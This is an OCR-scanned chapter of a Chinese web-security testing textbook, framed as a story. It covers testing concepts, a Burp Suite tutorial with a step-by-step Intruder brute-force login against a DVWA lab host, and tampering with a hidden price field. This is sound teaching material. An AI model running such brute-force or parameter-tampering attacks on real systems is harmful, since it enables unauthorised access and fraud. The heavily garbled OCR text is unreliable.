“你 一 下 子 问 我 这 么 多 ， 也 不 是 一 句 话 两 句 话 能 说 清 的 ， 我 这 有 一 本 我 之 前 做 Web 安 全 测试 时 自己 写 的 笔记 ， 我 又 改 了 几 次 ， 准 备 打印 出 来 给 你 们 当 书 看 的 ， 你 先 拿 去 看 看 最 前 面 的 部 分 ， 有 不 明白 的 
再 来 问 我 。” 
小 白 忙 点 头 称 谢 ， 如 获 至 宝地 接 过 小 黑 经 理 递 过 来 的 一 本 不 薄 不 厚 的 小 册子 ， 心 想 这 就 是 传说 中 的 “武林 秘籍 ” 吧 。 打 开 看 了 下 ， 居 然 还 有 目录 ， 心 想 经 理 还 挺 专 业 啊 ， 就 先 就 着 目录 看 了 起 来 。 
第 一 节 : Web 安 全 测试 定义 
第 二 节 : Web 安 全 测试 流程 
第 三 节 : 安全 测试 工具 Burp Suite 
第 四 节 : 常见 安全 漏洞 的 原理 、 测 试 及 防范 
小 黑 经 理 看 到 小 白 茫 然 的 神色 接着 说 ， “这 些 只 是 最 基础 的 东西 ， 更 深层 次 的 内 容 还 需要 你 自己 领悟 ， 先 去 看 看 第 一 节 内 容 吧 ， 明 天 再 细致 讨论 。” 说 完 ， 不 等 小 白 答 话 ， 就 挥 挥手 示意 小 白 可 以 出 去 
T.e 
10.1.1 Web 安 全 测试 定义 
回 到 自己 的 工 位 上 ， 小 白 顾 不 上 喝 水 ， 就 打开 了 书 的 第 一 节 ， 只 见 上 边 写 着 这 样 一 段 文字 : 
Web 安 全 就 是 要 让 软件 面 对 敌 意 和 恶意 输入 时 ， 仍 然 能 够 充分 满足 需求 。 


Web 安 全 性 测试 是 有 关 验 证 Web 应 用 的 安全 服务 和 识别 潜在 安全 性 缺陷 的 过 程 。 


注意 ”安全 性 测试 并 不 可 以 最 终 证 明 服务 的 安全 ， 而 是 用 于 验证 所 设立 策略 的 有 效 性 。 这 些 策略 是 基于 安全 威胁 分 析 和 经 验 所 做 的 假设 而 确定 的 。 
测试 人 员 制 定 详细 的 策略 ， 模 拟 成 攻击 者 ， 对 软件 不 同 的 模块 进行 恶意 攻击 ， 查 看 软件 是 否 能 正常 工作 ， 并 能 还 原 软 件 中 存在 的 安全 漏洞 。 
“您 那 第 一 节 就 写 了 这 么 几 句 ， 我 这 一 小 会 工 


安全 测试 是 在 做 这 样 的 事情 : 

读 到 这 里 ， 第 一 节 就 结束 了 ， 密 密 几 人 句 话 ， 小 白 似 乎 每 句 话 都 懂 ， 但 是 又 不 完全 明白 ， 因 为 自己 完全 不 知道 安全 、 安 全 漏洞 都 是 什么 。 去 请 教 小 黑 经 理 : 
夫 就 读 了 三 四 遍 ， 可 是 还 是 没 懂 。 " 
“都 有 什么 问题 啊 ?“ 
小 白 问 道 ，“ 您 这 里 说 Web 安 全 是 让 软件 在 面 对 恶意 输入 时 ， 仍 能 满足 需求 ， 那 什么 是 需求 ? 


“ 那 我 先 问 你 ， 在 功能 测试 里 ， 我 们 要 达到 什么 目的 ? 
“按照 需求 编写 出 来 测试 用 例 ， 然 后 输入 数据 并 在 预期 结果 和 实际 结果 之 间 进 行 评测 ， 进 而 提出 使 产品 更 满足 用 户 使 用 需求 的 要 求 。 


小 日 想 了 一 下 ， amm 
全 测试 也 很 类 似 。 因 为 安全 测试 有 更 多 的 输入 和 输出 需要 筛选 ， 所 以 需求 就 更 加 模糊 ， 难 以 定义 。 通 常安 全 不 是 我 们 的 主要 功能 ， 不 可 能 只 因为 安全 而 设计 。 所 以 ， 我 们 说 安全 ， 更 多 是 说 风 


险 的 控制 。 只 要 软件 的 安全 程度 能 满足 业务 需要 ， 而 可 以 承担 其 他 的 风险 的 时 候 ， 这 个 软件 就 可 以 说 是 足够 安全 的 。 " 


“所 以 ， 安 全 测试 并 不 能 证 明 服务 的 最 终 安 全 么 ? ”小 白 继续 问 道 。 
“到 子 可 教 。 ”小 黑 经 理 笑 着 说 道 ，“ 对 ， 因 为 安全 测试 输入 /输出 繁多 ， 所 以 更 多 时 候 ， 我 们 会 根据 不 同 的 软件 设计 不 同 的 安全 策略 ， 这 个 安全 策略 甚至 详尽 到 模块 ， 这 样 ， 就 可 以 基于 这 样 的 安全 策 
格 进行 检测 ， 保 证 软件 的 相对 安 人 全。 同样， 代码 是 死 的 ， 人 是 活 的 ， 黑 客 技术 也 在 不 断 发 展 ， 经 常会 有 新 的 漏洞 被 发 现 ， 所 以 安全 策略 也 是 会 不 断 调整 的 。 因 为 这 个 调整 属于 事后 调整 ， 所 以 难免 略 滞后 于 
黑客 技术 的 发 展 ， 所 以 安全 测试 是 没有 办 法 保证 软件 的 绝对 安全 的 。" 
”小 白 慌 然 大 悟 ， 又 继续 追问 道 。 
否 给 予 正确 的 响应 。 具 体 


等 恶意 输入 ， 并 把 它们 提交 


“这 样 我 明白 很 多 了 ， 那 里 面 提 到 的 测试 人 员 模 拟 恶 意 攻 击 行为 ， 该 怎么 模拟 ， 需 要 用 什么 么 ? 
“安全 测试 人 员 会 使 用 手动 工具 、 自 动工 具 等 ， 根 据 漏 洞 原理 来 模拟 和 激发 Web 应 用 。 例 如 ， 模 拟 跨 站 脚本 或 者 SQL 注入 


内 容 可 以 继续 往 后 看 我 的 笔记 ， 看 后 相信 你 就 会 明白 了 。 " 
“ 恩 ， 好 的 ，” 小 白 点 点 头 ，“ 可 是 我 平时 上 网 挺 多 的 啊 ， 怎 么 也 没有 碰 上 什么 软件 为 了 安全 做 一 些 限制 呢 ?“ 

“ 跑 ”， 听 了 小 白 的 话 ， 小 黑 经 理 打 了 小 白 脑 袋 一 下 ，“ 一 看 你 平时 上 网 时 就 没有 好 好 想 想 ， 给 你 举 几 个 例子 吧 ， 咱 们 网 站 登录 时 好 多 都 要 验证 码 吧 ， 验 证 码 的 意义 是 什么 ”再 有 你 在 网 上 购物 时 ， 付 
款 为 什么 输入 了 密码 以 后 还 要 输入 短信 验证 码 ? 
“这 问题 你 看 下 去 吧 ， 后 面 就 会 找到 答案 了 ， 我 现在 跟 你 说 你 也 不 一 少 ， 束 一 起 给 你 讲 


A 


定 能 马上 明白 。 刚 才 给 你 说 了 这 么 多 ， 基 本 上 关于 安全 测试 流程 也 涉及 了 不 


小 白 正 要 说 话 ， 小 黑 经 理 打 断 了 他 ， 
讲 吧 。" 


10.1.2 Web 安全 测试 流程 


闻 言 小 白马 上 把 笔记 掏 了 出 来 ， 只 见 笔记 记录 了 这 样 一 段 话 。 
通常 情况 下 ，Web 安 全 测试 开展 于 功能 测试 后 ， 性 能 测试 前 。 对 于 一 般 的 Web 项 目 ， 在 测试 开始 阶段 首先 要 充分 解析 、 分 析 Web 应 用 ， 通 过 Spider 抓 取 等 手段 分 析 系 统 中 所 有 的 模块 。 在 此 之 上 ， 针 对 各 


个 模块 制订 相应 的 安全 测试 。 接 下 来 就 进入 手工 安全 测试 阶段 ， 验 证 基于 安全 测试 的 各 种 漏洞 是 否 存 在 ， 包 括 验 证 机 制 、 会 话 管理 、 访 问 控制 、SQL 注 入 、XSS、 逮 辑 缺 陷 等 多 方面 的 漏洞 验证 。 验 证 结 


后 ， 整 理 所 有 测试 过 程 中 发 现 的 安全 问题 ， 以 报告 的 方式 提交 给 开发 部 门 。 待 验证 结束 后 进行 回归 测试 ， 直 至 所 有 安全 问题 全 部 解决 


小 白 边 看 边 说 道 : “经 理 ， 这 就 是 刚才 说 到 的 安全 策略 吧 ， 一 般 我 们 是 怎么 制订 的 ? 
“一 般 情 况 下 ，Web 应 用 我 们 会 按照 模块 制订 相应 的 安全 策略 。 比 如 登录 模块 (需要 考虑 验证 机 制 ) 、 会 话 管理 、 访 问 控制 、SQL 注 入 等 ， 这 样 就 可 以 从 这 几 方 面 入 手 制订 详细 的 安全 测试 用 例 了 。 具 
”说 罢 ， 小 黑 经 理 就 走出 了 休息 室 。 


体 怎么 测试 ， 你 继续 看 下 去 慢 慢 就 了 解 了 。 后 边 笔 记 都 比较 详细 了 ， 相 信 以 你 的 资质 ， 不 用 再 问 我 太 多 了 
这 个 喊 声 迎 来 了 小 黑 经 理 的 一 个 瞪 视 。 直 到 小 黑 经 理 已 经 走 回 了 办 公 室 ， 小 白 才 弱 弱 地 继续 小 声 说 道 ，“ 怎 么 还 把 我 杯子 也 拿 走 了 .…… 


и 经 理 l п 


10.2 Вигр Suite 使 用 浅 析 
“安全 测试 工具 Burp Suite" ， 单 看 名 称 就 可 以 想到 这 应 该 是 一 个 安全 测试 套件 ， 对 安全 测试 刚刚 略 有 了 解 的 小 白 自 然 对 这 个 工具 没有 更 


小 白 回 到 办 公 室 ， 带 着 一 肚子 的 疑问 ， 翻 开 了 笔记 的 第 三 节 : 


多 的 了 解 ， 只 好 认真 地 读 下 去 。 
共享 一 个 强大 的 可 扩展 的 框架 ,该 框架 能 


NAE 


1. 什 么 是 Burp Suite 
Burp Suite 是 用 于 进行 Web 安 全 攻击 与 测试 的 集成 平台 。 它 包含 了 许多 工具 ， 并 为 这 些 工 具 设 计 了 许多 接口 ， 以 促进 加 快 攻击 应 用 程序 的 过 程 。 所 有 的 工具 都 


处 理 并 显示 HTTP 消 息 ， 获 取 工 具 使 用 过 程 中 的 相应 日 志 信 息 。 
Burp Suite 能 高 效率 地 与 单个 工具 一 起 工作 。 例 如 ，Site тар (站 点 地 图 ) 用 于 汇总 收集 到 的 目标 应 用 程序 信息 ， 并 通过 确定 的 范围 来 指导 单个 程序 工作 。 


络 爬 虫 ) 用 来 自动 搜索 内 容 。 应 用 程序 可 以 是 “被 动 地 ”运行 ， 而 不 是 产生 大 量 的 自动 请 求 。 


在 浏览 器 处 理 HTTP 请 求 和 响应 时 ， 它 可 以 通过 Burp Proxy 把 所 有 请 求 和 响应 解析 为 链接 的 形式 ， 然 后 选择 调用 其 他 任意 的 Burp 工 具 。 例 如 ， 代 理 记 录 的 请 求 可 被 Intruder 用 来 构造 一 个 自 定义 的 自动 


攻击 的 准则 ， 也 可 被 Repeater 用 来 手动 攻击 ， 也 可 被 Scanner 用 来 分 析 漏 洞 ， 或 者 被 Spider (网 


下 面 是 Burp Suite 工 具 箱 中 的 一 些 工具 。 
和 目标 应 用 程序 之 间 的 中 间 人 ， 人 允许 拦截 、 查 看 、 修 改 请 求 数据 流 


vz 
BE 


: Proxy: 拦截 HTTP 的 代理 服务 器 ， 作 为 一 个 在 浏览 


` Spider: 应 用 智能 感应 的 网 络 息 中 ， 用 来 完整 地 枚 举 应 用 程序 的 内 容 和 功能 。 


Scannet: 执行 后 ， 它 能 自动 发 现 Web 应 用 程序 的 安全 漏洞 。 
收集 有 用 的 数据 ， 以 及 使 用 模糊 测试 (fuzzing) 技术 探测 常规 漏洞 。 


Intruder: 定制 的 高 度 可 配置 的 工具 ， 对 Web 应 用 程序 进行 自动 化 攻击 ， 如 枚 举 标识 符 


Repeater: 重 发 单独 的 HTTP 请 求 ， 以 便于 分 析 应 用 程序 响应 ， 更 有 效 地 进行 攻击 的 工具 。 


' Sequencer: 用 来 分 析 那 些 不 可 预知 的 应 用 程序 会 话 令 牌 和 重要 数据 项 的 随机 性 的 工具 。 
: Decoder: 对 各 种 编码 、 加 密 方 式 进行 智能 解码 的 工具 。 
: Comparer: 通常 是 通过 一 些 相关 的 请 求 和 响应 得 到 两 项 数据 的 一 个 可 视 化 的 “差异 ”。 
2.Burp Suite 的 使 用 
小 黑 经 理 的 笔记 上 还 简单 记录 了 如 何 使 用 Burp Suite 中 的 各 个 工具 。 


1) Proxy: 代理 功 使 我 们 能 够 截获 并 修改 请 求 。 为 了 拦截 请 求 ， 并 对 其 进行 操作 ， 我 们 首先 需要 在 Burp Suite 中 设置 代理 信息 ( 见 图 10-1) ， 重 点 是 修改 代理 监听 的 端口 号 。 
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图 10-1 Вир Suite 代 理 设置 


接 下 来 需要 按照 Burp Suite 的 代理 信息 为 浏览 器 配置 代理 ， 如 图 10-2 所 示 。 


Configure Proxies to Access the Internet 
D No proxy 
/^; Auta-detect proxy settings for this network 


Су Use system proxy settings 


&'Menualproxycomfiguraon:— і 
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Use this proxy server for all protocols 
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ETP Proxy: Port: ns 
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Мо Proxy for: 


Example .mozilla.org, net.nz, 192.168.1.0/24 
M Automatic proxy configuration URL: 
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图 10-2 浏览 器 的 Burp Ptoxy 设 置 


默认 情况 下 ，Burp 代 理 配置 的 是 自动 拦截 对 非 媒体 资源 的 请 求 (Intercept is on) ， 如 图 10-3 所 示 。 拦 截 到 的 请 求 信 息 显示 出 来 后 ， 可 以 对 请 求 进行 查看 和 修改 。 
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‘raw | params | headers | hex 

POST /memher.nhp?mnd-logegingtaction-login&loginsubmit-ves&infloat-yes&lssubhmit-2yes&inajax-1 HTTP/1.1 
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Àcrept: text/html,applicatian/xhtml4xml.applirarinn/xml:qez0.9,*/*:]20.8 

Accepr-Language: en-U3,en:q-0.5 

Àccpept-Encoding: gzip, deflate 

Referer: http://bbas.besttest,cn/forum.php 

Cookie: Т21х 2135% за1скет=®зї ЕЧ; РАН £132 lasrwisir-138B5852B37; 
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FZix 2142 connect is hind-0; Еріх 2132 nofavfid-1; FZix 2142 sid-VÜUüEk43; FZix 2132 Lastact-139"74B310£43D91ikme.phptü9; ЕЁ1к 2132 asendmail-1:; 
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Connection: keep-alive 

Content-Type: applicatian/x-wwu-form-urlencnded 

Content-Length: 88 


fastloginfield-uscrnameé&nuscernamez-jacksaonren&pmsssworu-aldskf&mguickf£urward-yesehandleley-Llz 


图 10-3 ”拦截 请 求 


我 们 也 可 以 关闭 拦截 项 ， 无 论 是 开启 还 是 关闭 ， 所 有 请 求 都 可 以 通过 history 选 项 卡 查看 ， 如 图 10-4 所 示 。 
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| пир 05. besttest.cn СЕТ jistaticije/logging.is 2992 " ' 854 script je 


图 10-4 查看 请 求 历 史记 录 
2) Spider: Burp Spider 用 来 映射 Web 应 用 程序 ， 它 会 自动 抓 取 Web 应 用 程序 的 链接 ， 提 交 它 发 现 的 所 有 登录 表单 ， 从 而 详细 分 析 整 个 应 用 程序 。 这 些 链 接 会 传递 给 Burp Scanner 进 行 详细 扫描 。 
可 以 在 site map 的 target 标 签 看 到 一 个 URL 已 经 添加 进 作 用 域 ， 在 URL 上 单 击 鼠 标 右键 ， 选 择 spider this host 命 令 ， 即 可 把 取 该 网 站 ， 如 图 10-5 所 示 。 
这 时 可 以 在 spider 标 签 中 查看 当前 抓 取 的 信息 ， 如 图 10-6 所 示 。 


运行 完成 之 后 ， 我 们 在 site map 分 支 上 会 看 到 很 多 新 的 URL， 这 些 URL 提 供 了 很 多 有 关 Web 信 用 程序 的 信息 ， 然 后 可 以 将 这 些 链接 发 送 给 其 他 Burp 工 具 箱 来 进行 下 一 步 分 析 或 攻击 。 图 10- 7 为 抓 取 的 结 
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'*! expand requested items 
| collapsa branch 
delete host 
copy URLs in this hast 


copy links in this hast 


B xen es 


Save sel tems 
10-5 ”Spidet 在 site map 中 的 用 法 


x 


[v] spider running 


To begin spidering, browse to the target application, then select one or more nodes in 
the target site map, and choose "spider from here". 


requests made: 
bytes transferred: 
requests queued: 
forms queued: 


(ж) use suite scope [defined in target tab] 


© use custom scope 


图 10-6 ”Spider 抓 取信 息 
3) Intruder: Burp Intruder 可 以 用 于 漏洞 利用 、 模 糊 测 试 、 暴 力 破解 等 。 请 求 被 Burp Suite 监 听 拦 截 后 右 击 ， 在 快捷 菜单 中 会 出 现 所 有 可 以 进行 的 操作 ， 选 择 send to intruder 命 令 ， 如 图 10-8 所 示 。 


以 上 操作 会 将 请 求 信息 发 送 给 intruder 功 能 。 进 入 intruder 标 签 ， 配 置 Burp Suite 来 发 起 攻击 。 在 target 选 项 卡 下 可 以 看 到 已 经 设置 好 的 、 要 请 求 攻击 的 目标 ， 如 图 10-9 所 示 。 
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[GET /admin.php НТТР/1.1 
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(accept: тут 

|Accepr-Langugagsge: en 

Juner-A&gent: Mozilla/43.0 (compacibles MSIE 7.0: Windows NT 5.0) 

Cunnection: close 
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| [рук [тыну [paz | _ 


cim | | 
/dvwa/vulnerabilities/brute/?usernamezinfosecinst send to spider Login 
HTTP/1.1 do an active scan 


Host: 10.0.1.7 . 
User-Agent; Mozilla/5.0 (X11; Linux iege; rv:2.0| sendto Intruder 


Accept: : text/hrtml,application/xhtmlexml,applicari Sena to repeater 
Accept-Language: : en-us,en:q-»0.5 send to sequencer 
Accept-Encoding: gzip, deflate send to comparer 


Accept-Charser: ISO-BB58-1,utf-8:q*0.7,*:q*0.7 
Keep-Alive: 115 - 
Prozy-Connection: keep-alive engagement tools [pro version only] 
Referer: http://10.0.1.7/dvwa/vulnerabilities/br 
Cookie: securityshigh; PHPSESSIDzIkrn2dlibiard$97 
DNT: 1 


send to decoder 


change request method 
change body encoding 
copy URL 

copy to file 

paste from file 

save item 

don't intercept requests 


convert selection 
© URL-encode as y 


图 10-8 send to inttudet 功 能 


[.]use SSL 


图 10-9 ”攻击 目标 


进入 positions 选 项 不， 可 以 看 到 之 前 发 送 给 Intruder 的 请 求 。 一 些 重要 的 信息 用 其 他 颜色 显示 ( 见 图 10-10) ， 基 本 上 是 由 Burp Suite 猜 解 这 些 请 求 中 什么 参数 是 可 能 发 生 改变 的 、 需 要 进行 枚 举 的 ， 


在 这 种 情况 下 我 们 需要 相应 地 配置 Burp Suite 来 添加 载荷 。 


attack type [ре I í  — [e] 


5 payload positions length: 573 
GET ^ 
/ dvwa/vulnerabilities/brute/?username-Sinfosscinstitute$:ipassvord-Sinfo 
secinstituteScLogin"SboginS HTTP/1.1 

Host: 10.0.1.7 

User-Agent: Mozilla/5.0 (X11; Linux i£86; rv:2.0.1) Gecko/20100101 
Firefox/4.0.1 

Accept: 

text/html,application/xhtml-«exml,application/xml;q*0.5,*/*;q90.8 
Accept-Language: en-us,en:qez0.5 

Accept-Encoding: gzip, deflate 

Accept-Charset: ISO-BB5S8-l,utf-8;qs0.7,*:q*0.7 

Keep-Alive: 115 

Proxy-Connection: keep-alive 
Referer: http://10.0.1.7/dvwa/vulnerabilities/brute/ 

Cookie: security-ShighS: PHPSESSID- 
DHT: 1 


alef) —  — 0 0 0 0 0 0 0 0 0 0 50 (— ] Omatches 


图 10-10 Intruder Riž f 


单 击 右边 的 clear 按 钮 ， 将 删除 所 有 Burp 自 动 猜测 的 可 能 载荷 ， 接 下 来 需要 配置 Burp 在 这 次 攻击 中 真正 作为 攻击 的 参数 (本 例 中 为 用 户 名 和 密码 ) ， 如 图 10-11 所 示 。 


attack type 


2 payload positions length: 567 
[GET S 
|/ dvva/vulnerabilities/brute/?username-SinfossecinstituteSipassvord-Sinfo 
|BecinstituteSsLogin-Login HTTP/1.1 

|Host: 10.0.1.7 

|User-Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0.1) беско/ 20100101 
|Firefox/4.0.1 

|Accept: 
|text/html,application/xhtml-4xml,application/xml;q*0.9,*/*;q*D.8 
|ÀAccept-Language: en-us,en;dqeü0.5 

(Accept-Encoding: gzip, deflate 


|Accept-Charset: ISO-BBSB-]l,utf-B;q*0.7,*;:q*0.7 

|Keep-Alive: 115 

Proxy-Connection: keep-alive 

Referer: http://10.0.1.7/dvwa/vulnerabilities/brute/ 
Cookie: securityshigh; PHPSESSID*4qqpg8ufue4eokrillofhgbB50 
|DNT: 1 


图 10-11 配置 有 效 攻击 参数 


打开 payload 选 项 卡 ， 确 保 payload set 的 值 是 1， 单 击 load (加 载 ) 按钮 ， 加 载 一 个 包含 用 户 名 的 文件 。 本 例 中 使 用 一 个 很 小 的 密码 字典 文件 来 进行 演示 ， 加 载 之 后 ， 用 户 名 文件 中 的 用 户 名 如 图 10-12 
所 示 。 


| 


target | positions f 


number of payloads: 5 
number of requests: 0 


payload set 


administrator 


图 10-12 ”配置 用 户 名 字典 


同样 设置 payload set 的 值 为 2， 单 击 load 按 钮 加 载 一 个 简单 密码 字典 文件 ， 如 图 10-13 所 示 。 


Fi Š : Mom TU TEE р = 
(target | positions | payloads | options | — &— — — — —  . -. .  . - .  . 


number of payloads: 6 É 
number of requests: 30 


payload set presetlst s 


abcd1234 


password 


图 10-13 ”配置 密码 字典 


单 击 左上 角 的 Intruder 开 始 攻击 ， 弹 出 一 个 Windows 窗 口 ， 其 中 有 我 们 制作 好 的 所 有 请 求 。 那 么 如 何 确定 哪 一 个 登录 请 求 是 成 功 的 呢 ? 通常 情况 下 ， 对 于 登录 请 求 ， 登 录 成 功 与 登录 失败 的 返回 值 相 比 
一 定 是 不 相同 的 ， 这 体现 在 status 的 不 同 或 者 是 返回 值 长 度 (length) 的 不 相等 。 在 这 种 情况 下 ， 我 们 看 到 的 用 户 名 admin 和 密码 password 的 响应 长 度 相 比 其 他 请 求 有 所 不 同 ， 如 图 10-14 所 示 。 


根据 不 同 的 响应 请 求 ， 单 击 request 选 项 卡 ， 如 果 单 击 response 选 项 卡 ， 则 看 到 文字 welcome the password protected area admin 出 现在 响应 中 ， 这 意味 着 这 次 请 求 中 使 用 的 username/password 
是 正确 的 ， 如 图 10-15 所 示 。 


Burp Suite 的 Intruder 功 能 是 Burp 用 来 进行 安全 测试 的 最 强大 功能 。 


这 一 节 的 内 容 到 这 里 就 结束 了 ， 人 小 白 默 默 地 合 上 笔记 ， 发 现 大 家 都 已 经 下 班 了 ， 办 公 室 里 只 剩 自己 一 个 。“ 看 起 来 这 个 工具 最 重要 的 就 是 Intruder 功 能 了 ”人 小 白 自 言 自 语 道 ，“ 还 是 要 回 家 多 多 熟悉 才 
行 。” 言 罢 ， 晃 了 网 已 经 看 得 有 些 景 眩 的 头 ， 离 开办 公 室 走 入 夜色 之 中 。 


attack save columns 


Filter: showing all items 


[C MUN CHEN CR CN line 
| 
jabc спини 
abcded |200 | || | |J 14912 | 
ИЕ е — S Hn 
Sp jede oo — i Шш: | — — ——3 
' 200 _ | LJ | |49 [C nF 


7—1 dministrator — abcd1234 200 | 加 | 加 le | | 
еме — — 5$ 5] bcd1234 mo wl | — o 
9  jano {200 |Ы | Lj Мә D 
ET | abcd1234 20 E NR 


б ыш ыо LIE I НИ 
— — = = m 
—— 


GET TT HTTP/1.1 
Host: 10.0.1.7 

User-Agent: Mozilla/5.0 (Xii; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 
Accept: text/html,application/xhtml-xml,applicatrion/xml:dqe0.9,*/*:q20.8 
Accept-Language: en-us,en:q-0.5 

Accept-Encoding: gzip, deflate 


图 10-14 Intruderzk Ж 


о ы ll B Ru: [o 
| jg яа — — 209 — аа —— ——— 


12 ladminstrator — password — — 200 | ре | — — — 
一 
jasswe 200 lud ы ег L =======—= 


| raw | headers Ta T T 
«form TEL methode"GET"» 
Username:«br»«input type="text" namezs'"username"»«br» 
Password:«br»«input type*-"password" AUTOCOMPLETE-"off" 


name*""passwvord"»«br» 
«input type="submit" values"Login" names"Login"» 
«/ formo 


«p»Welcome to the password protected area adminc/p»«img 
srca"http://10.0.1.7/dvva/hackable/useres/admin.3pg" /> 


</ div» 


€h2»More infoc/h2» 
«ul» 


<lix<a 


图 10-15 正确 破解 的 请 求 


103 ”安全 测试 原理 与 实战 


第 二 天 ， 小 白 正 在 电脑 前 聚精会神 地 熟悉 Burp Suite 工 具 ， 恰 巧 小 黑 经 理 从 身后 经 过 ， 看 到 小 白 的 屏幕 ， 便 道 : “小 白 啊 ， 跟 我 到 我 办 公 室 来 。” 


小 白 一 头 雾 水 地 跟着 小 黑 经 理 走 进 了 办 公 室 ， 性 急 地 问 道 : “经 理 ， 有 什么 事情 么 ?“ 
小 黑 经 理 不 满 地 看 了 小 白 一 眼 : “我 看 你 今天 一 直 在 用 BurpSuite， 你 还 记得 当初 我 教 你 性 能 测试 的 时 候 告诉 你 的 性 能 测试 和 工具 之 间 的 关系 是 什么 吗 ?“ 


“ 呢 .…… 性 能 测试 不 要 局 限于 工具 ， 学 会 了 工具 也 不 代表 你 真正 学 会 了 性 能 测试 。 我 懂 您 的 意思 了 ， 我 这 学 安全 测试 也 走 进 了 这 个 误区 。” 小 白 想 了 一 下 ， 便 明白 了 小 黑 经 理 的 “潜台词 ”。 


“还 算 你 不 策 ，” 小 黑 经 理 脸 色 缓和 了 很 多 ，“ 你 也 使 用 了 将 近 一 天 的 Burp Suite 了 ， 该 了 解 一 些 安全 漏洞 原理 了 ， 知 道 常 见 的 安全 漏洞 都 有 哪些 么 2“ 


“SQL 注 入 、XSS、cookie 隐 私 安 全 ? 我 狗 似 就 听 过 这 些 。" 


“倒是 还 有 一 些 了 解 ， 其 实在 我 们 做 Web 安 全 测试 的 过 程 中 ， 常 见 的 安全 漏洞 包括 : 绕 过 客户 端 攻击 、 验 证 机 制 漏洞 、 会 话 管理 漏洞 、SQL 注 入 漏洞 、XSS 漏 洞 、CSs 漏 洞 ， 等 等 ， 当 然 还 有 逻辑 漏洞 、 
社会 学 攻击 ， 等 等 。 ”小 黑 经 理解 释 到 。 


“ 那 您 就 一 个 一 个 给 我 讲解 一 下 吧 ! ”小 白眼 睛 里 亮 起 了 小 星星 。 
小 黑 经 理 说 : “给 你 讲 我 还 给 你 那 本 笔记 做 什么 ， 自 己 对 照 着 笔记 学 学 去 ， 好 了 ， 你 可 以 回去 了 ， 给 我 好 好 学 !“ 
小 白灰 溜溜 地 撤 出 了 办 公 室 ， 回 座位 继续 钻研 笔记 中 安全 原理 部 分 的 内 容 去 了 。 
10.3.1” 绕 过 客户 端 漏洞 
提 到 绕 过 客户 端 漏洞 ， 那 么 首先 要 了 解 客 户 端 都 做 了 什么 限制 ? 常见 的 客户 端 限制 主要 有 两 种 : 一 是 通过 客户 端 ， 使 用 被 认为 可 以 防止 用 户 修改 的 机 制 传输 请 求 和 数据 。 二 是 客户 端 采取 保护 措施 ， 控 
制 用 户 与 它 的 交互 ， 从 而 对 部 分 功能 、 请 求实 现 限制 。 
客户 端 一 般 可 攻击 以 下 几 个 方面 。 
HTML 验证。 
' 隐藏 表单 字段 。 
- HTTP cookie, 
ОКЖ, 
模糊 数据 。 
绕 过 客户 端 控件 攻击 通常 有 两 种 测试 方法 。 
1) 使 用 浏览 器 自 带 调试 工具 完成 。 对 于 某 些 简 单 的、 可 见 的 客户 端 控件 验证 ， 大 多 数 可 以 使 用 该 方法 。 
2) 使 用 Burp Suite 等 拦截 服务 器 。 对 于 较 复杂 、 不 可 见 的 ， 如 cookie、 模 糊 数 据 等 ， 使 用 拦截 服务 器 拦截 并 做 下 一 步 处 理 更 为 合理 。 
那么 就 从 刚才 提 到 的 5 个 方面 分 别 来 看 客户 端 是 如 何 被 攻击 的 。 
1.HTML 验 证 


通常 人 们 认为 ，HTML 验 证 不 是 一 种 安全 的 验证 方法 。 这 种 验证 只 能 帮助 那些 不 知道 应 该 如 何 填写 表单 、 如 何 输入 的 用 户 缩短 服务 器 处 理 时 间 。 作 为 攻击 者 ， 可 以 用 各 种 方法 轻易 地 绕 过 这 种 机 制 。 任 


常 
何 客户 端 验证 都 应 该 复制 到 服务 器 端 。 这 将 大 大 减少 不 安全 的 参数 在 应 用 程序 中 使 用 的 可 能 性 。 
HTML 验 证 也 包括 两 部 分 : HTML 表 单 内 置 验证 和 基于 脚本 (JS) 的 验证 。 


例如 ， 有 这 样 一 个 注册 信息 的 表单 ， 用 HTML 表 单 内 置 验证 来 检验 用 户 名 的 长 度 (maxlength 和 minlength) ; 同时 ， 由 于 HTML 表 单 内 置 的 输入 确认 机 制 过 于 简单 ， 而 且 也 不 够 详细 ， 不 足以 对 各 种 输 
入 执行 验证 。 所 以 ， 开 发 者 通常 在 脚本 中 加 入 JS 验 证 。 例 如 下 面 代码 对 密码 做 了 简单 的 JS 验 证 。 


function checkPasswordConfig O  // 检查 密码 


var a-document.getElementById ("password") .value; 

var b-document.getElementById ("passwordConfig") .value; 
if (b--null||b--2"") 

{ 


document.getElementById ("spanPasswordConfig") .innerHTML = "«font color=’ геа’ > 请 您 确认 密码 ! *</ 


ТН ASA font»"; 
return false; 
} 
if (a! =b) 
{ 
document.getElementById ("spanPasswordConfig") .innerHTML = "«font color='red'> 您 两 次 输入 的 密码 不 一 致 ! *</font>”; 


return false; 
} 
} 


上 述 两 种 HTML 验 证 方式 都 可 以 通过 拦截 提交 表单 的 请 求 ， 并 输入 任意 非法 值 来 党 试 跳 过 验证 。 
2. 隐 藏 表单 字段 


隐藏 的 HTML 表 单 是 一 种 看 上 去 无 法 修改 ， 通 过 客户 端 传送 数据 的 常用 机 制 。 如 果 一 个 表单 字段 标记 为 hidden 或 者 readonly， 那 么 它 就 无 法 编辑 ， 是 完全 隐藏 (display:none) 的 ， 不 会 在 屏幕 上 显 
示 ， 但 是 提交 时 ， 保 存在 表单 中 的 字段 名 称 和 值 仍 然 被 提交 给 应 用 程序 。 


举 个 简单 例子 ， 图 10-16 为 一 个 简单 的 购物 网 站 。 
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10-16 ”可 绕 过 购物 网 站 页 面 
图 10-16 中 ， 价 格 的 表单 字段 名 为 price， 标 记 为 hidden。 虽 然 price 字 段 不 可 以 编辑 ， 但 只 是 因为 应 用 程序 使 浏览 器 隐藏 了 该 字段 。 


使 用 Burp Suite 工 具 尝 试 绕 过 该 隐藏 字段 。 配 置 完成 代理 服务 器 后 ， 可 以 监听 到 浏览 器 发 布 的 所 有 请 求 ， 图 10-17 为 拦截 到 的 购买 请 求 。 


POST /shop/1.html НТТР/1. 1 


Host: 227.0. 0.1 


їїзег-Айўйтпь: Nozilla/5.0 (Windows NT 5.1: rv:12.0) Gecko/20100101 Firefox/1 
Accept: text/html,application/xhtml-4xml,application/xml:dq-»0.9,7/*:]9-0.8 
Accept-Language: zh-cn,zh;dq-0.8,en-us;q-0.5,en;dq-0.3 

Accept-Encoding: gzip, deflate 

Proxy-Connection: keep-alive 

Referer: http://127.0.0.1/5hop/1.html 


quantitysl£prices449 


E047 截取 请 求 


2.0 


